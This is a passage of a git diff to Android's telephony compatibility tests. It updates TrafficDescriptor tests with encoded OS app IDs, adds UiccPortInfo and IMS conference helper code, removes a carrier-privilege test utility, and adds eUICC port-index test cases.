+                LinkedBlockingQueue<Pair<Set<String>, Set<Integer>>> carrierPrivilegesQueue,
+                LinkedBlockingQueue<Pair<String, Integer>> carrierServiceQueue) {
+            mCarrierPrivilegesQueue = carrierPrivilegesQueue;
+            mCarrierServiceQueue = carrierServiceQueue;
+        }
+
+        @Override
+        public void onCarrierPrivilegesChanged(@NonNull Set<String> privilegedPackageNames,
+                @NonNull Set<Integer> privilegedUids) {
+            mCarrierPrivilegesQueue.offer(new Pair<>(privilegedPackageNames, privilegedUids));
+        }
+
+        @Override
+        public void onCarrierServiceChanged(@Nullable String carrierServicePackageName,
+                int carrierServiceUid) {
+            mCarrierServiceQueue.offer(new Pair<>(carrierServicePackageName, carrierServiceUid));
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 13dcf7c..49af152 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -37,6 +37,19 @@
     public static final String ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING =
             "ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION";
 
+    /**
+     * See com.android.services.telephony.rcs.DelegateStateTracker#
+     * SUPPORT_REGISTERING_DELEGATE_STATE
+     */
+    public static final String SUPPORT_REGISTERING_DELEGATE_STATE_STRING =
+            "SUPPORT_REGISTERING_DELEGATE_STATE";
+    /**
+     * See com.android.services.telephony.rcs.DelegateStateTracker#
+     * SUPPORT_DEREGISTERING_LOSING_PDN_STATE
+     */
+    public static final String SUPPORT_DEREGISTERING_LOSING_PDN_STATE_STRING =
+            "SUPPORT_DEREGISTERING_LOSING_PDN_STATE";
+
     private static final String COMMAND_ADD_TEST_EMERGENCY_NUMBER =
             "cmd phone emergency-number-test-mode -a ";
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
index 4431520..3bc33b8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
@@ -18,41 +18,95 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertThrows;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.os.Parcel;
 import android.telephony.data.TrafficDescriptor;
+import android.telephony.data.TrafficDescriptor.OsAppId;
 
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 
 public class TrafficDescriptorTest {
     private static final String DNN = "DNN";
-    private static final byte[] OS_APP_ID = {1, 2, 3, 4};
+    // 97a498e3fc925c9489860333d06e4e470a454e5445525052495345.
+    // [OsAppId.ANDROID_OS_ID, "ENTERPRISE", 1]
+    private static final byte[] ENTERPRISE_OS_APP_ID = {-105, -92, -104, -29, -4, -110, 92,
+            -108, -119, -122, 3, 51, -48, 110, 78, 71, 10, 69, 78, 84, 69,
+            82, 80, 82, 73, 83, 69};
+
+    // 97a498e3fc925c9489860333d06e4e47125052494f524954495a455f4c4154454e4359.
+    // [OsAppId.ANDROID_OS_ID, "PRIORITIZE_LATENCY", 1]
+    private static final byte[] URLLC_OS_APP_ID = {-105, -92, -104, -29, -4, -110, 92,
+            -108, -119, -122, 3, 51, -48, 110, 78, 71, 18, 80, 82, 73, 79, 82, 73, 84, 73, 90, 69,
+            95, 76, 65, 84, 69, 78, 67, 89};
+
+    // 97a498e3fc925c9489860333d06e4e47145052494f524954495a455f42414e445749445448.
+    // [OsAppId.ANDROID_OS_ID, "PRIORITIZE_BANDWIDTH", 1]
+    private static final byte[] EMBB_OS_APP_ID = {-105, -92, -104, -29, -4, -110, 92,
+            -108, -119, -122, 3, 51, -48, 110, 78, 71, 20, 80, 82, 73, 79, 82, 73, 84, 73, 90, 69,
+            95, 66, 65, 78, 68, 87, 73, 68, 84, 72};
+
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setUp() {
+        mPackageManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getPackageManager();
+    }
 
     @Test
     public void testConstructorAndGetters() {
-        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor td = new TrafficDescriptor(DNN, ENTERPRISE_OS_APP_ID);
         assertThat(td.getDataNetworkName()).isEqualTo(DNN);
-        assertThat(td.getOsAppId()).isEqualTo(OS_APP_ID);
+        assertThat(td.getOsAppId()).isEqualTo(ENTERPRISE_OS_APP_ID);
+
+        td = new TrafficDescriptor(DNN, URLLC_OS_APP_ID);
+        assertThat(td.getDataNetworkName()).isEqualTo(DNN);
+        assertThat(td.getOsAppId()).isEqualTo(URLLC_OS_APP_ID);
+
+        td = new TrafficDescriptor(DNN, EMBB_OS_APP_ID);
+        assertThat(td.getDataNetworkName()).isEqualTo(DNN);
+        assertThat(td.getOsAppId()).isEqualTo(EMBB_OS_APP_ID);
     }
 
     @Test
     public void testEquals() {
-        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
-        TrafficDescriptor equalsTd = new TrafficDescriptor(DNN, OS_APP_ID);
-        assertThat(td).isEqualTo(equalsTd);
+        TrafficDescriptor enterpriseTd = new TrafficDescriptor(DNN, ENTERPRISE_OS_APP_ID);
+        TrafficDescriptor equalsTd = new TrafficDescriptor(DNN, ENTERPRISE_OS_APP_ID);
+        assertThat(enterpriseTd).isEqualTo(equalsTd);
+
+        TrafficDescriptor urllcTd = new TrafficDescriptor(DNN, URLLC_OS_APP_ID);
+        equalsTd = new TrafficDescriptor(DNN, URLLC_OS_APP_ID);
+        assertThat(urllcTd).isEqualTo(equalsTd);
+
+        TrafficDescriptor embbTd = new TrafficDescriptor(DNN, EMBB_OS_APP_ID);
+        equalsTd = new TrafficDescriptor(DNN, EMBB_OS_APP_ID);
+        assertThat(embbTd).isEqualTo(equalsTd);
+
+        assertThat(enterpriseTd).isNotEqualTo(urllcTd);
+        assertThat(enterpriseTd).isNotEqualTo(embbTd);
+        assertThat(urllcTd).isNotEqualTo(enterpriseTd);
+        assertThat(urllcTd).isNotEqualTo(embbTd);
+        assertThat(embbTd).isNotEqualTo(enterpriseTd);
+        assertThat(embbTd).isNotEqualTo(urllcTd);
     }
 
     @Test
     public void testNotEquals() {
-        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
-        byte[] notOsAppId = {5, 6, 7, 8};
-        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", notOsAppId);
+        TrafficDescriptor td = new TrafficDescriptor(DNN, ENTERPRISE_OS_APP_ID);
+        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", ENTERPRISE_OS_APP_ID);
         assertThat(td).isNotEqualTo(notEqualsTd);
         assertThat(td).isNotEqualTo(null);
     }
 
     @Test
     public void testParcel() {
-        TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
+        TrafficDescriptor td = new TrafficDescriptor(DNN, ENTERPRISE_OS_APP_ID);
 
         Parcel parcel = Parcel.obtain();
         td.writeToParcel(parcel, 0);
@@ -60,15 +114,63 @@
 
         TrafficDescriptor parcelTd = TrafficDescriptor.CREATOR.createFromParcel(parcel);
         assertThat(td).isEqualTo(parcelTd);
+        parcel.recycle();
+
+        td = new TrafficDescriptor(null, URLLC_OS_APP_ID);
+
+        parcel = Parcel.obtain();
+        td.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        parcelTd = TrafficDescriptor.CREATOR.createFromParcel(parcel);
+        assertThat(td).isEqualTo(parcelTd);
+        parcel.recycle();
+
+        td = new TrafficDescriptor(null, EMBB_OS_APP_ID);
+
+        parcel = Parcel.obtain();
+        td.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        parcelTd = TrafficDescriptor.CREATOR.createFromParcel(parcel);
+        assertThat(td).isEqualTo(parcelTd);
+        parcel.recycle();
     }
 
     @Test
     public void testBuilder() {
         TrafficDescriptor td = new TrafficDescriptor.Builder()
                 .setDataNetworkName(DNN)
-                .setOsAppId(OS_APP_ID)
+                .setOsAppId(ENTERPRISE_OS_APP_ID)
                 .build();
         assertThat(td.getDataNetworkName()).isEqualTo(DNN);
-        assertThat(td.getOsAppId()).isEqualTo(OS_APP_ID);
+        assertThat(td.getOsAppId()).isEqualTo(ENTERPRISE_OS_APP_ID);
+
+        td = new TrafficDescriptor.Builder()
+                .setOsAppId(URLLC_OS_APP_ID)
+                .build();
+        assertThat(td.getDataNetworkName()).isNull();
+        assertThat(td.getOsAppId()).isEqualTo(URLLC_OS_APP_ID);
+
+        td = new TrafficDescriptor.Builder()
+                .setOsAppId(EMBB_OS_APP_ID)
+                .build();
+        assertThat(td.getDataNetworkName()).isNull();
+        assertThat(td.getOsAppId()).isEqualTo(EMBB_OS_APP_ID);
+    }
+
+    // The purpose of this test is to ensure that no real package names are used as app id.
+    // Traffic descriptor should throw exception for any app id not in the allowed list.
+    @Test
+    public void testRealAppIdThrowException() {
+        for (PackageInfo packageInfo : mPackageManager.getInstalledPackages(0 /*flags*/)) {
+            OsAppId osAppId = new OsAppId(OsAppId.ANDROID_OS_ID, packageInfo.packageName, 1);
+            // IllegalArgumentException is expected when using a real package name as app id.
+            assertThrows(IllegalArgumentException.class,
+                    () -> new TrafficDescriptor.Builder()
+                            .setDataNetworkName(DNN)
+                            .setOsAppId(osAppId.getBytes())
+                            .build());
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/UiccPortInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/UiccPortInfoTest.java
new file mode 100644
index 0000000..c9820c7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/UiccPortInfoTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Parcel;
+import android.telephony.UiccPortInfo;
+import android.test.AndroidTestCase;
+
+public class UiccPortInfoTest extends AndroidTestCase {
+    /**
+     * Create fake UiccPortInfo objects run basic tests.
+     */
+    public void testFakeUiccSlotInfoObject() {
+        String iccId = "FAKE_ICC_ID";
+        int portIndex = 0;
+        int logicalSlotIndex = 0;
+        boolean isActive = true;
+        UiccPortInfo uiccPortInfo = new UiccPortInfo(
+                iccId,            /* ICCID */
+                portIndex,      /* portIndex */
+                logicalSlotIndex, /* logicalSlotIndex */
+                isActive     /* isActive */
+        );
+
+        //Getters.
+        assertThat(uiccPortInfo.getIccId()).isEqualTo(iccId);
+        assertThat(uiccPortInfo.getPortIndex()).isEqualTo(portIndex);
+        assertThat(uiccPortInfo.getLogicalSlotIndex()).isEqualTo(logicalSlotIndex);
+        assertThat(uiccPortInfo.isActive()).isEqualTo(isActive);
+
+        // Other common methods.
+        assertThat(uiccPortInfo.describeContents()).isEqualTo(0);
+        assertThat(uiccPortInfo.hashCode()).isNotEqualTo(0);
+        assertThat(uiccPortInfo.toString()).isNotEmpty();
+
+        // Parcel read and write.
+        Parcel parcel = Parcel.obtain();
+        uiccPortInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UiccPortInfo toCompare = uiccPortInfo.CREATOR.createFromParcel(parcel);
+        assertThat(uiccPortInfo.hashCode()).isEqualTo(toCompare.hashCode());
+        assertThat(uiccPortInfo).isEqualTo(toCompare);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java b/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java
index 919fe82..3755968 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java
@@ -18,8 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.hardware.radio.V1_6.RouteSelectionDescriptor;
-import android.hardware.radio.V1_6.TrafficDescriptor;
+import android.telephony.data.RouteSelectionDescriptor;
+import android.telephony.data.TrafficDescriptor;
 import android.telephony.data.UrspRule;
 
 import org.junit.Test;
@@ -32,8 +32,8 @@
 
     @Test
     public void testConstructorAndGetters() {
-        List<TrafficDescriptor> tds = new ArrayList<TrafficDescriptor>();
-        List<RouteSelectionDescriptor> rsds = new ArrayList<RouteSelectionDescriptor>();
+        List<TrafficDescriptor> tds = new ArrayList<>();
+        List<RouteSelectionDescriptor> rsds = new ArrayList<>();
         UrspRule ur = new UrspRule(TEST_PRECEDENCE, tds, rsds);
         assertThat(ur.getPrecedence()).isEqualTo(TEST_PRECEDENCE);
         assertThat(ur.getTrafficDescriptors()).isNotEqualTo(null);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
deleted file mode 100644
index ea46c9b..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/CarrierPrivilegeUtils.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts.util;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-import static com.android.internal.util.FunctionalUtils.ThrowingRunnable;
-import static com.android.internal.util.FunctionalUtils.ThrowingSupplier;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.PersistableBundle;
-import android.telephony.CarrierConfigManager;
-import android.telephony.SubscriptionManager;
-import android.telephony.TelephonyManager;
-import android.util.Log;
-
-import com.android.internal.telephony.uicc.IccUtils;
-
-import java.security.MessageDigest;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility to execute a code block with carrier privileges.
- *
- * <p>The utility methods contained in this class will release carrier privileges once the specified
- * task is completed.
- *
- * <p>Example:
- *
- * <pre>
- *   CarrierPrivilegeUtils.withCarrierPrivileges(c, subId, () -> telephonyManager.setFoo(bar));
- * </pre>
- */
-public class CarrierPrivilegeUtils {
-    private static final String TAG = CarrierPrivilegeUtils.class.getSimpleName();
-
-    private static class CarrierPrivilegeReceiver extends BroadcastReceiver
-            implements AutoCloseable {
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final Context mContext;
-        private final int mSubId;
-        private final boolean mGain;
-
-        /**
-         * Construct a listener that will wait for adding or removing carrier privileges.
-         *
-         * @param subId the subId to wait for.
-         * @param hash the package hash that indicate carrier privileges.
-         * @param gain if true, wait for the package to be added; if false, wait for the package to
-         *     be removed.
-         */
-        CarrierPrivilegeReceiver(Context c, int subId, String hash, boolean gain) {
-            mContext = c;
-            mSubId = subId;
-            mGain = gain;
-
-            mContext.registerReceiver(
-                    this, new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
-        }
-
-        @Override
-        public void close() {
-            mContext.unregisterReceiver(this);
-        }
-
-        @Override
-        public void onReceive(Context c, Intent intent) {
-            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
-                return;
-            }
-
-            final int subId = intent.getIntExtra(
-                    CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
-                    SubscriptionManager.INVALID_SUBSCRIPTION_ID);
-            if (mSubId != subId) {
-                return;
-            }
-
-            final PersistableBundle carrierConfigs =
-                    c.getSystemService(CarrierConfigManager.class).getConfigForSubId(mSubId);
-            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) {
-                return;
-            }
-
-            try {
-                if (hasCarrierPrivileges(c, mSubId) == mGain) {
-                    mLatch.countDown();
-                }
-            } catch (Exception e) {
-            }
-        }
-
-        public void waitForCarrierPrivilegeChanged() throws Exception {
-            if (!mLatch.await(5000 /* millis */, TimeUnit.MILLISECONDS)) {
-                throw new IllegalStateException("Failed to update carrier privileges");
-            }
-        }
-    }
-
-    private static boolean hasCarrierPrivileges(Context c, int subId) {
-        // Synchronously check for carrier privileges. Checking certificates MAY be incorrect if
-        // broadcasts are delayed.
-        return c.getSystemService(TelephonyManager.class)
-                .createForSubscriptionId(subId)
-                .hasCarrierPrivileges();
-    }
-
-    private static String getCertHashForThisPackage(final Context c) throws Exception {
-        final PackageInfo pkgInfo = c.getPackageManager()
-                .getPackageInfo(c.getOpPackageName(), PackageManager.GET_SIGNATURES);
-        final MessageDigest md = MessageDigest.getInstance("SHA-256");
-        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
-        return IccUtils.bytesToHexString(certHash);
-    }
-
-    private static void changeCarrierPrivileges(Context c, int subId, boolean gain, boolean isShell)
-            throws Exception {
-        if (hasCarrierPrivileges(c, subId) == gain) {
-            Log.w(TAG, "Carrier privileges already " + (gain ? "granted" : "revoked") + "; bug?");
-            return;
-        }
-
-        final String certHash = getCertHashForThisPackage(c);
-        final PersistableBundle carrierConfigs;
-
-        if (gain) {
-            carrierConfigs = new PersistableBundle();
-            carrierConfigs.putStringArray(
-                    CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
-                    new String[] {certHash});
-        } else {
-            carrierConfigs = null;
-        }
-
-        final CarrierConfigManager configManager = c.getSystemService(CarrierConfigManager.class);
-
-        try (CarrierPrivilegeReceiver receiver =
-                new CarrierPrivilegeReceiver(c, subId, certHash, gain)) {
-            // If the caller is the shell, it's dangerous to adopt shell permission identity for
-            // the CarrierConfig override (as it will override the existing shell permissions).
-            if (isShell) {
-                configManager.overrideConfig(subId, carrierConfigs);
-            } else {
-                runWithShellPermissionIdentity(() -> {
-                    configManager.overrideConfig(subId, carrierConfigs);
-                }, android.Manifest.permission.MODIFY_PHONE_STATE);
-            }
-
-            receiver.waitForCarrierPrivilegeChanged();
-        }
-    }
-
-    public static void withCarrierPrivileges(Context c, int subId, ThrowingRunnable action)
-            throws Exception {
-        try {
-            changeCarrierPrivileges(c, subId, true /* gain */, false /* isShell */);
-            action.runOrThrow();
-        } finally {
-            changeCarrierPrivileges(c, subId, false /* lose */, false /* isShell */);
-        }
-    }
-
-    /** Completes the provided action while assuming the caller is the Shell. */
-    public static void withCarrierPrivilegesForShell(Context c, int subId, ThrowingRunnable action)
-            throws Exception {
-        try {
-            changeCarrierPrivileges(c, subId, true /* gain */, true /* isShell */);
-            action.runOrThrow();
-        } finally {
-            changeCarrierPrivileges(c, subId, false /* lose */, true /* isShell */);
-        }
-    }
-
-    public static <R> R withCarrierPrivileges(Context c, int subId, ThrowingSupplier<R> action)
-            throws Exception {
-        try {
-            changeCarrierPrivileges(c, subId, true /* gain */, false /* isShell */);
-            return action.getOrThrow();
-        } finally {
-            changeCarrierPrivileges(c, subId, false /* lose */, false /* isShell */);
-        }
-    }
-}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index eae33de..c871586 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -213,6 +213,36 @@
     }
 
     @Test
+    public void testSwitchToSubscriptionWithCallback() {
+        // test disabled state only for now
+        if (mEuiccManager.isEnabled()) {
+            return;
+        }
+
+        // set up CountDownLatch and receiver
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        mCallbackReceiver = new CallbackReceiver(countDownLatch);
+        getContext()
+                .registerReceiver(
+                        mCallbackReceiver, new IntentFilter(ACTION_SWITCH_TO_SUBSCRIPTION));
+
+        // call deleteSubscription()
+        PendingIntent callbackIntent = createCallbackIntent(ACTION_SWITCH_TO_SUBSCRIPTION);
+        mEuiccManager.switchToSubscription(4, TelephonyManager.DEFAULT_PORT_INDEX, callbackIntent);
+
+        // wait for callback
+        try {
+            countDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail(e.toString());
+        }
+
+        // verify correct result code is received
+        assertEquals(
+                EuiccManager.EMBEDDED_SUBSCRIPTION_RESULT_ERROR, mCallbackReceiver.getResultCode());
+    }
+
+    @Test
     public void testEraseSubscriptions() {
         // test disabled state only for now
         if (mEuiccManager.isEnabled()) {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java
index c506e8e6..9416ba3 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccServiceTest.java
@@ -69,6 +69,7 @@
     private static final int CALLBACK_TIMEOUT_MILLIS = 2000 /* 2 sec */;
 
     private static final int MOCK_SLOT_ID = 1;
+    private static final int MOCK_PORT_ID = 0;
     private static final String MOCK_ICCID = "12345";
     private static final String MOCK_NICK_NAME = "nick name";
 
@@ -130,6 +131,12 @@
         }
 
         @Override
+        public int onSwitchToSubscriptionWithPort(int slotId, int portIndex, String iccid,
+                boolean forceDeactivateSim) {
+            return 0;
+        }
+
+        @Override
         public int onUpdateSubscriptionNickname(int slotId, String iccid, String nickname) {
             return 0;
         }
@@ -416,6 +423,7 @@
 
         mEuiccServiceBinder.switchToSubscription(
                 MOCK_SLOT_ID,
+                MOCK_PORT_ID,
                 MOCK_ICCID,
                 true /*forceDeactivateSim*/,
                 new ISwitchToSubscriptionCallback.Stub() {
@@ -423,7 +431,8 @@
                     public void onComplete(int result) {
                         assertEquals(EuiccService.RESULT_OK, result);
                     }
-                });
+                },
+                false /* usePortIndex */);
 
         try {
             mCountDownLatch.await(CALLBACK_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java
index 52dd47c..698ac75 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/MockEuiccService.java
@@ -147,6 +147,13 @@
     }
 
     @Override
+    public @Result int onSwitchToSubscriptionWithPort(
+            int slotId, int portIndex, @Nullable String iccid, boolean forceDeactivateSim) {
+        sMockEuiccServiceCallback.setMethodCalled();
+        return EuiccService.RESULT_OK;
+    }
+
+    @Override
     public int onUpdateSubscriptionNickname(int slotId, String iccid, String nickname) {
         sMockEuiccServiceCallback.setMethodCalled();
         return EuiccService.RESULT_OK;
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
index c5baf84..0a16299 100644
--- a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -328,8 +328,11 @@
                 PackageManager.FEATURE_TELEPHONY)) {
             return false;
         }
-        int[] activeSubs = InstrumentationRegistry.getContext().getSystemService(
-                SubscriptionManager.class).getActiveSubscriptionIdList();
+
+        SubscriptionManager subscriptionManager = InstrumentationRegistry.getContext()
+                .getSystemService(SubscriptionManager.class);
+        int[] activeSubs = ShellIdentityUtils.invokeMethodWithShellPermissions(subscriptionManager,
+                (sm) -> sm.getActiveSubscriptionIdList());
         if (activeSubs.length == 0) {
             return false;
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ConferenceHelper.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ConferenceHelper.java
new file mode 100644
index 0000000..1c4fa7d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ConferenceHelper.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+
+public class ConferenceHelper {
+
+    private static final String TAG = "ConferenceHelper";
+
+    private TestImsCallSessionImpl mConfSession = null;
+    private TestImsCallSessionImpl mForeGroundSession = null;
+    private TestImsCallSessionImpl mBackGroundSession = null;
+
+    private final ConcurrentHashMap<String, TestImsCallSessionImpl> mSessions =
+            new ConcurrentHashMap<String, TestImsCallSessionImpl>();
+
+    public void addSession(TestImsCallSessionImpl session) {
+        synchronized (mSessions) {
+            mSessions.put(session.getCallId(), session);
+        }
+    }
+
+    public TestImsCallSessionImpl getActiveSession(String callId) {
+        synchronized (mSessions) {
+            if (mSessions.isEmpty()) {
+                return null;
+            }
+
+            for (Map.Entry<String, TestImsCallSessionImpl> entry : mSessions.entrySet()) {
+                if (entry.getKey().equals(callId)) {
+                    return entry.getValue();
+                }
+            }
+        }
+
+        return null;
+    }
+
+    public TestImsCallSessionImpl getHoldSession() {
+        synchronized (mSessions) {
+            if (mSessions.isEmpty()) {
+                return null;
+            }
+
+            for (Map.Entry<String, TestImsCallSessionImpl> entry : mSessions.entrySet()) {
+                TestImsCallSessionImpl callSession = entry.getValue();
+                boolean isOnHold = callSession.isSessionOnHold();
+
+                if (isOnHold) {
+                    return callSession;
+                }
+            }
+        }
+
+        return null;
+    }
+
+    public void setConferenceSession(TestImsCallSessionImpl session) {
+        mConfSession = session;
+    }
+
+    public void setForeGroundSession(TestImsCallSessionImpl session) {
+        mForeGroundSession = session;
+    }
+
+    public void setBackGroundSession(TestImsCallSessionImpl session) {
+        mBackGroundSession = session;
+    }
+
+    public TestImsCallSessionImpl getConferenceSession() {
+        return mConfSession;
+    }
+
+    public TestImsCallSessionImpl getForeGroundSession() {
+        return mForeGroundSession;
+    }
+
+    public TestImsCallSessionImpl getBackGroundSession() {
+        return mBackGroundSession;
+    }
+
+    public void clearSessions() {
+        mConfSession  = null;
+        mForeGroundSession = null;
+        mBackGroundSession = null;
+        mSessions.clear();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallingTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallingTest.java
new file mode 100644
index 0000000..62f0f01
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsCallingTest.java
@@ -0,0 +1,1259 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.telecom.Call;
+import android.telecom.PhoneAccount;
+import android.telecom.TelecomManager;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.InCallServiceStateValidator;
+import android.telephony.cts.InCallServiceStateValidator.InCallServiceCallbacks;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
